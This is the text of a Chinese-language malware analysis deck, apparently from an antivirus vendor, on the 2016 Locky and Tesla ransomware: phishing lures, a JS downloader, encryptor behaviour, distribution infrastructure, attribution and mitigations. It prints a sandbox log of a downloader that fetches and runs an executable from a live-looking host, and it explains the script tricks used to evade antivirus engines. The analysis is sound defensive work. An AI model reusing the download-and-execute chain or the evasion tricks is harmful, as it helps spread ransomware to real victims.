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密锁家族病毒分析报告







瞬间变成了音乐发烧友！









密锁病毒到底是啥？



密锁病毒（勒索病毒）简介

一种恶意软件，可以感染设备、网络与数据中心并使其瘫痪，直至用户支
付赎金使系统解锁。

通过社工钓鱼邮件进行传播，当用户运行邮件附件后，开始下载病毒病毒
自动运行，运行后，病毒会将电脑中的各类文档进行加密，让用户无法打
开，并弹窗限时勒索付款提示信息，如果用户未在指定时间缴纳黑客要求
的金额，被锁文件将永远无法恢复。



黑客

邮件 压缩包附件

社工手段、向用户发送指定邮件

携带恶意附件

下载器JS脚本 Locky病毒

包含

运行下载

文档文件 勒索用户

运行加密文档

目的



密锁病毒（勒索病毒）简介

投递能力：大量随机分发站点；大量的钓鱼邮件；小时级攻击全球。

免杀能力：高频量产免杀，利用时间差规避安全软件检测多分发站、多通讯代
理、DGA规避网络安全设备的封锁。

加密能力：采用RSA2048+AES128加密，私钥在攻击者手中。加密本地磁盘、
移动存储、网络共享，欲加密的资料型文件近两百种!

支付渠道：完全采用BTC支付，赎金接收账号及其分散，与CryptoWall等相比，
同一BTC账户ID的使用频率更低。解密站点位于暗网，难以定位。



密锁病毒发展史

敲诈软件起源较早，最早于1996年。
早年间以数据绑架为主，多用自定义加密算法，可技术还原。

2016年开始，大面积感染中国地区，技术支持活跃、更新频繁，被加密文件特征
明显(locky后缀)：
1、互联网分发个人RSA公钥，加密数据后难以解密
2、传统支付手段改为比特币，赎金流向难以追溯



密锁病毒发展史
2013年，邮件传播，加密办公文件、照片、视频等几十种格式的文件，72小时
之内向其指定账户支付300美元，PayPal等手段支付，FBI都建议受害者支付
“赎金”来解密文件



密锁病毒发展史
2015年1月，邮件传播，加密办公文件、照片、视频等百余种文件格式，
在96小时内向其支付8比特币（当时约合人民币1万元左右）



密锁病毒发展史
2015年4月，国内爆发，邮件传播，屏保格式病毒样本、加密办公文件、照片、
视频等百余种文件格式，在96小时内向其支付比特币



密锁病毒发展史
2016年1月，邮件传播，通过合法数字签名绕开杀毒软件



密锁病毒发展史

2016年3月，利用Office宏进行攻击，加密
硬盘上的所有文档并重置文件为MP3，要
求用户支付赎金（最少500美元）



密锁病毒发展史
2016年3月，利用JS脚本进行攻击，比特币支付赎金



2016年第一季度国内感染敲诈软件的终端数量 (Tesla+Locky)
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2016年第一季度国内敲诈类恶意软件检测量分布(Tesla+Locky)
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黑客利润3.25亿美元

勒索软件感染234,000台电脑



2016年3月31日，美国网络应急反应团队与加拿
大网络事件响应中心发布敲诈软件感染医院系统的
联合警报！

2016年4月,新变种持续爆发中……



密锁病毒-Locky技术分析

2016年Q1肆虐中国的密锁主要有两种：一种名字

叫Telsa,另一种叫Locky，两者在整个运作体

系上非常相似，传播上Locky更甚，下面通过对
Locky的分析，来了解典型的敲诈软件的运作。



名词 解释
钓鱼邮件：用来诱骗用户上当的电子邮件，在Locky的传播中扮演着重要的角色。

加密器：完成敲诈软件的核心勒索手段——文件数据加密的程序。

分发站：专门存放加密器的网站，这些网站通常是“黑”来的。

下载器：专门用来下载另一个恶意软件的恶意软件。目前流行的敲诈软件，都会使
用下载器，去分发站下加密器。

通讯代理：加密器通过这个代理服务，间接向解密站获取加密用的公钥。

解密站：用户支付赎金后，用来下载解密器的网站，解密站存有解密私钥。

解密器：用于解密被加密的文档。

比特币账户：电子虚拟货币-Bitcoin的账户，匿名方式持有。



以下六点看Locky

工作流程简介
钓鱼邮件分析
下载器分析
加密器分析

分发站和通讯代理分析
幕后黑手浅析



Locky在你的计算机上如何工作？

钓鱼邮件 压缩包附件
携带恶意附件

下载器
加密器 通讯代理

1.请求加密用公钥

解密站

个人文件 3.显示解密提示



钓鱼邮件分析



发票

快递
交易

付款

账单邮件标题、正文、附件出现过部分关键字：

billing  
invoice  
payment  
scanned  
details  
document  
Post_Parcel
Post_Tracking
Post_Shipment
FedEx_ID

Notice_to_Appear
Court_Notification
Post - Parcel  
Post - Tracking  
Post - Shipment  
FedEx - ID  
Notice - to - Appear  
Court - Notification  
urgent  
transaction

钓鱼邮件分析



邮件的附件为压缩包，双击打开再双击里面的脚本文件（JavaScript文件,
文件名依然具有欺骗性）,下载器就开始工作了!

钓鱼邮件分析



以下为瑞星反病毒引擎中的JS沙盒跑出的脚本执行日志
来自样本BD4E1A2EABF2A7749E57A6F0FF7C2916
WScript.CreateObject(WScript.Shell);
WScript.Shell.ExpandEnvironmentStrings(%TEMP%/);
WScript.CreateObject(MSXML2.XMLHTTP);
MSXML2.XMLHTTP.open(GET,http://dronozas.hu/fkj4rq,0);
MSXML2.XMLHTTP.Send();
WScript.CreateObject(ADODB.Stream);
ADODB.Stream.open();
ADODB.Stream.write(undefined);
ADODB.Stream.saveToFile(%TEMP%/4BW4c2WpVz.exe,2);
ADODB.Stream.close();
WScript.Shell.Run(%TEMP%/4BW4c2WpVz.exe,0,0);

基本功能：利用Windows提供的组件，从分发站点的下载敲诈软件并执行

下载器分析 – 简单又不简单



真这么简单？

事情要是如此，那就好办了



下载器分析－免杀技术 混淆

来看看刚才的行为日志对应的脚本文件吧！

根本不是给人读的L

一个也就算了，但事实上是：
每天会产生成千上万个混淆程
度不同的文件，通过电子邮件
发往世界各地。

不同的代码，不同的分发站点，
要用简单的特征码，或者IP和
URL拦截下一时刻的攻击，显
得相当困难。



下载器分析－免杀技术 诡计1

Windows的JScript支持以函数风格直接定义对象的属性方法
function hello.world() {

…
}
这根本不是标准语法啊 L 各个开源引擎(标准语法）可编译不了这
个，自然就无法执行了。例如：



下载器分析－免杀技术 诡计2

Windows的JScript支持条件编译指令@cc_on
参考：https://msdn.microsoft.com/en-us/library/8ka90k2e(v=vs.94).aspx

var run = false;
/*@cc_on @if(@win32||@win64) 

run = true; 
@end*/
if( run ) { … }

这也是Windows.Jscript独有的L
各个开源引擎当成注释不解析，
后续代码便不执行了…



下载器分析－免杀技术 诡计3

Windows提供的ADODB.Stream等对象的方法名，在JScript中依然
支持忽略大小写。JavaScript的标准中，名字是区分大写的。但是在
Windows的ActiveScript体系中，COM对象的方法名，是由对象本
身来负责解析的（IDispatchEx），如果对象本身忽略大小写，那么
便可以让JS支持大小写无关的函数名。



下载器分析－总结

用混淆来对抗静态特征码，用多种JScript独有特性对抗脚本沙盒，他们非常
熟悉反病毒软件，更熟悉如何免杀。当然，在一些代码中，我们也感觉到了
他们的疲惫和愤怒，因为出现了“FUCKINGNOD”这样的字眼，表明他们
对ESET-NOD32（国外知名杀毒软件）相当的愤怒。



加密器分析－只为加密

加密器(Encryptor)在整个敲诈软件链条中，一般仅
负责通过网络获取公钥后对文件进行加密工作，与
大多数传统的恶意软件不同，它们不为驻留在您的
计算机中，仅追求一次性“致命一击”。



加密器分析－初始版本

HTTP交互获取公钥 公钥数据写入注册表

HTTP交互获得解密提示解密提示写入注册表

遍历本地驱动器加密文件 关闭系统还原

注册自启动项目遍历共享加密文件

使用固定的注册表键：
HKCU\Software\Locky
值:id/pubkey/paytext

通讯过程使用IP或DGA的方式。

通过网络获取RSA-AES公钥，
用于文件加密。

先磁盘后共享的顺序加密。

注册自启动项目，下次运行继
续加密。



加密器分析－现在版本

HTTP交互获取公钥

公钥数据写入注册表

遍历本地和共享,加密文件

关闭系统还原

规避使用俄语的计算机

默认关闭了注册自启动功能

增加了自删除，一次性运行

规避使用俄语的计算机

注册表使用机器不同而不同
的随机串，隐去固定模式；

较之前版本，“只为加密”
的目的性更加明显。

自删除清理痕迹

解密提示写入注册表*

HTTP交互获得解密提示



加密器分析－免杀技术
使用了频繁更新的私有壳（加载器）技术，对原始的Locky进行加密，从而达到免
杀的目的。这种免杀技术，在恶意软件中被广泛采用，但依然有大多数反病毒厂商
无法对它们进行启发式的识别。

WinMain函
数代码并非编
译器编译代码

IDA分析后显示代码节
中包含了大量的数据

而正常程序中代码节分
布着大量指令(正规函数)



在持续跟踪Locky的过程中，我们发现它使用了
相当多数量的分发站和通讯代理，于是我们开始
收集并分析这些网络地址。我们想通过分析之后
获得的数据，来了解Locky背后的攻击者们到底
花了多少心思来“经营”数字敲诈这个行当。

分发站和通讯代理分析



分发站点规模分析

Locky使用了大量的分发站，这些站点分布于全球，数量也相当惊人，每一
波攻击，都使用不同的站点用于投递加密器。仅我们收集到的分发站下载连
接就超过一万条，实际情况将会更大！
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Locky分发站点全球分布



分发站点CMS类型统计

3%

18%

3%

76%

Drupal Joomla Southidc WordPress

WP弱密码

我们还了探测分发站点的一部分，发现了158个分发站点使用了
著名的CMS，CMS类型分布及由此获得的结论。

WP占比最大

自动化拿站



同一个分发站点，
会被用于多个变种
的分发。

下载连接1

下载连接2

下载连接3

一个域名

数据来自瑞星-关系驱动的交互式威胁分析平台（实验室版本）

分发站的使用情况



使用同一通讯
代理的同一批
次变种，会被
部署在多个分
发站点上。

通讯代理

多个变种访问
同一通讯代理

多个变种访问
同一通讯代理

来自不同的
分发站点

来自不同的
分发站点

来自不同的
分发站点

来自不同的
分发站点

数据来自瑞星-关系驱动的交互式威胁分析平台（实验室版本）



对分发站点的总结

从分发站（被黑）的 数量、分布来看，可以断定，敲诈团队具备
大规模自动化拿站的能力，鸠占鹊巢后，把这些合法站点用于存
放加密器。每一波攻击，下载器使用分发站点都不同，由于无法
掌握全部（未来）的分发站点，这使安全厂商必须以响应方式阻
止攻击。

总体来说，互联网上主机/CMS得安全性不佳，给恶意软件作者
提供了极佳的分发站点资源。



主要用于为每个加密器实例，产生一个RSA公密钥对、个
人ID，以及分发支付说明文档。

通讯代理分析

从截获的样本中观察到，加密器请求加密公钥的服务器的
IP地址经常变化，数量较多，推定目前暴露的IP应该都为
通讯代理。

这一点，我们在Locky的兄弟Tesla中得到了验证！



helpdesk.keldon.info，这是一个Telsa的通讯代理站点，我们
通过技术手段进入后获得了其php源码，可以看到功能非常简
单：向列表中的解密站点，转发用户请求。

来自Tesla的帮助



Russia,	175,	21%Ukraine,	122,	15%

Hong	Kong,	103,	12%

France,	93,	11%

Germany,	72,	9%
United	States,	62,	7%

Netherlands,	46,	6%
Kazakhstan,	40,	5%

Latvia,	31,	4%

Spain,	14,	2%

Estonia,	13,	2%

Canada,	12,	1%

Bulgaria,	11,	1%Romania,	7,	1%

Brazil,	6,	1%

Turkey,	6,	1%
Italy,	5,	1%

Portugal,	5,	1%

Argentina,	2,	0%

United	Kingdom,	2,	0%

Vietnam,	1,	0%

其他,	45,	5%

Russia Ukraine Hong	Kong France Germany United	States Netherlands

Kazakhstan Latvia Spain Estonia Canada Bulgaria Romania

Brazil Turkey Italy Portugal Argentina United	Kingdom Vietnam
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共计774个通讯代理IP地址



通讯代理IP的数量明显没有分发站点的数量多，
但也不少，仅我们获取的数据就有774个，实际
数据会更大。相信敲诈团队在全球各地申请了
不少主机用于通讯代理的部署。

通讯代理规模分析



ＭＡＩＬ钓鱼邮件

Locky的整体运作体系

WWW分发站

JS下载器 JS JSDOC JS

通讯代理 C2 C2 C2 C2 C2 C2

比特币账户 BTC BTC BTC BTC BTC BTC

解密站 DCS DCS DCS DCS DCS DCS

加密器 EXE EXE EXE EXE EXE EXE EXE

数字化勒索团队

批量黑站

采集邮箱
发送邮件

开发新版
研究免杀
量产变种

注册BTC
资金转移

申请IP
部署代理

我们在这里
遇见Locky！
我们在这里
遇见Locky！

ＭＡＩＬ ＭＡＩＬ ＭＡＩＬ

WWW WWW WWW WWWWWW



幕后黑手浅析

刻意避开俄语地区，猜测是为避免来自本国的刑事追责
俄罗斯、乌克兰分布了1/3以上的通讯代理站点

分发站点被攻陷的痕迹，也指向俄罗斯黑客

这个数字化勒索团队到底来自哪里？

他们应该是一群来自俄罗斯的黑客！

因为



以某分发站点livewireradio.net为例，通过技术手段进入后，发现了大量残留
的php eval shell以及经过加密的WSO2.5 Webshell – 俄罗斯黑客开发或最常
使用WebShell!



再以某分发站点holidaysinkeralam.com为例，通过技术手段进入后，也发现
了大量残留的php eval shell以及经过加密的WSO2.5。



WSO中有针对斯拉夫语系（俄语）的字符编码：

WSO中默认使用俄罗斯（ru）的网站：

在俄罗斯的论坛上对WSO 讨论的较多：



应对措施！



如何解决密锁病毒问题？

分发站

钓鱼邮件

下载器

加密器

CMS：加强CMS安全（避免弱口令、漏洞、插件漏洞等），扫描上传文件

邮件服务商：垃圾邮件识别，恶意附件扫描/识别

企业网络：安装反垃圾邮件产品、旁路恶意软件检测设备、网关安全设备

终端用户：提高垃圾邮件识别能力，增加安全意识，安装终端安全产品

企业网络：安装具备快速响应能力的网关安全设备

终端用户：禁用Windows的脚本功能或限制JS双击直接运行;安装终端安全产品

终端用户：安装终端安全产品;数据备份;安装具备行为识别功能的防护软件

企业网络：安装具备快速响应能力的网关安全设备；使用数据备份产品



瑞星在缓解和防护方面的工作

钓鱼邮件

下载器

加密器

增加对邮件标题、正文内容的识别

增加对附件（压缩包）中关键字的识别

在反病毒引擎中增加脚本沙盒，利用行为日志进行识别

启发式检测，正对下载器的特殊构造以及使用的免杀技巧

分钟级别的云端响应最新变种

采用启发式算法检测文件

限制临时目录下的JS/VBS脚本的运行

基于程序行为的敲诈软件识别/阻止方案



给用户的建议
1、定期备份系统与重要文件，并离线存储独立设备；
2、使用专业的电子邮件与网络安全工具，可分析邮件附件、网页、文件是
否包括恶意软件，带有沙箱功能；
3、经常给操作系统、设备及第三方软件更新补丁；
4、使用专业的反病毒软件、防护系统，并及时更新；
5、设置网络安全隔离区，确保即使感染也不会轻易扩散；
6、针对BYOD设置同样或更高级别的安全策略；
7、加强员工（用户）安全意识培训，不要轻易下载文件、邮件附件或邮件
中的不明链接……人是安全链中最薄弱的环节。



总 结
敲诈软件由于”获利”丰厚，近几年疫情愈演愈烈，新的绑架形式、新的
目标平台也不断涌现。2016年第一季度,往年感染率较低的中国地区爆发疫
情，主要是因为攻击者将SPAM范围扩散到了中国，这似乎说明了国内大多
数的有效邮箱地址泄露，包括各类企事业单位和个人。另外，互联网整体
安全不容乐观，使攻击者掌握了数量巨大的分发站点，使网络安全厂商难
以应对。比特币和暗网也为敲诈者提供了藏匿踪迹的方法，使传统技术无
法追踪他们。在于敲诈软件的对抗中，反病毒厂商责任最大，虽积极响应，
但目前来看整体上还未完全处于上风。恶意软件和安全厂商的对抗，是技
术的对抗，但最终还是人的对抗，这在与敲诈软件的激战中体现的淋漓尽
致!向所有战斗在与敲诈软件对抗一线的安全从业人员致敬!
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